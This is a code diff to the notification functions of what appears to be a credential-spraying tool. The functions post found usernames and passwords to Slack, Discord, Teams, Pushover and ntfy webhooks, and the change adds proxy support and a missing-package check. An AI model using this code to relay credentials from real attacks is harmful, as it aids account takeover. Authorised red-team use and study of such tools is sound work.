exclude_password, webhook): response = requests.post( webhook, data=json.dumps(message), - headers={'Content-Type': 'application/json'} + headers={'Content-Type': 'application/json'}, + proxies=proxy_notif ) # Function for debug messages -def slack_update(message, operator, webhook): +def slack_update(message, operator, webhook, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -181,12 +190,17 @@ def slack_update(message, operator, webhook): } response = requests.post( webhook, data=json.dumps(message), - headers={'Content-Type': 'application/json'} + headers={'Content-Type': 'application/json'}, + proxies=proxy_notif ) # Function for posting username/password to Discord -def discord_notify(username, password, operator, exclude_password, webhook): +def discord_notify(username, password, operator, exclude_password, webhook, proxy_notif): + + if not _has_discord: + print("Discord notification will not be sent as you do not have installed the `discordwebhook` python package.", file=sys.stderr) + return None now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -207,12 +221,17 @@ def discord_notify(username, password, operator, exclude_password, webhook): f"Date: {date}\n" f"Time: {time}```") + # module "discordwebhook" does not support proxies, no luck here discord = Discord(url=webhook) discord.post(content=text) # Discord notify message -def discord_update(message, operator, webhook): +def discord_update(message, operator, webhook, proxy_notif): + + if not _has_discord: + print("Discord notification will not be sent as you do not have installed the `discordwebhook` python package.", file=sys.stderr) + return None now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -233,7 +252,7 @@ def discord_update(message, operator, webhook): # Teams notify function -def teams_notify(username, password, operator, exclude_password, webhook): +def teams_notify(username, password, operator, exclude_password, webhook, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -262,10 +281,11 @@ def teams_notify(username, password, operator, exclude_password, webhook): "activitySubtitle": f"{content}" }], }, + proxies=proxy_notif ) # Teams message notify function -def teams_update(message, operator, webhook): +def teams_update(message, operator, webhook, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") @@ -290,11 +310,12 @@ def teams_update(message, operator, webhook): "activitySubtitle": f"{content}" }], }, + proxies=proxy_notif ) # Pushover notify of valid creds -def pushover_notify(username, password, operator, exclude_password, token, user): +def pushover_notify(username, password, operator, exclude_password, token, user, proxy_notif): headers = {'Content-Type' : 'application/x-www-form-urlencoded'} @@ -324,11 +345,11 @@ def pushover_notify(username, password, operator, exclude_password, token, user) 'message' : text } - r = requests.post('https://api.pushover.net/1/messages', headers=headers, data=data) + r = requests.post('https://api.pushover.net/1/messages', headers=headers, data=data, proxies=proxy_notif) # Pushover generic update messages -def pushover_update(message, operator, token, user): +def pushover_update(message, operator, token, user, proxy_notif): headers = {'Content-Type' : 'application/x-www-form-urlencoded'} @@ -353,11 +374,11 @@ def pushover_update(message, operator, token, user): 'message' : text } - r = requests.post('https://api.pushover.net/1/messages', headers=headers, data=data) + r = requests.post('https://api.pushover.net/1/messages', headers=headers, data=data, proxies=proxy_notif) # Ntfy notify of valid creds -def ntfy_notify(username, password, operator, exclude_password, topic, host, token): +def ntfy_notify(username, password, operator, exclude_password, topic, host, token, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") time=now.strftime("%H:%M:%S") @@ -386,11 +407,11 @@ def ntfy_notify(username, password, operator, exclude_password, topic, host, tok if token is not None: headers["Authorization"] = "Bearer {:s}".format(token) - r = requests.post("{:s}/{:s}".format(host, topic), headers=headers, data=text) + r = requests.post("{:s}/{:s}".format(host, topic), headers=headers, data=text, proxies=proxy_notif) # Ntfy generic update messages -def ntfy_update(message, operator, topic, host, token): +def ntfy_update(message, operator, topic, host, token, proxy_notif): now = datetime.now() date=now.strftime("%d-%m-%Y") time=now.strftime("%H:%M:%S") @@ -414,4 +435,4 @@ def ntfy_update(message, operator, topic, host, token): if token is not None: headers["Authorization"] = "Bearer {:s}".format(token) - r = requests.post("{:s}/{:s}".format(host, topic), headers=headers, data=text) \ No newline at end of file + r = requests.post("{:s}/{:s}".format(host, topic), headers=headers, data=text, proxies=proxy_notif) \ No newline at end of file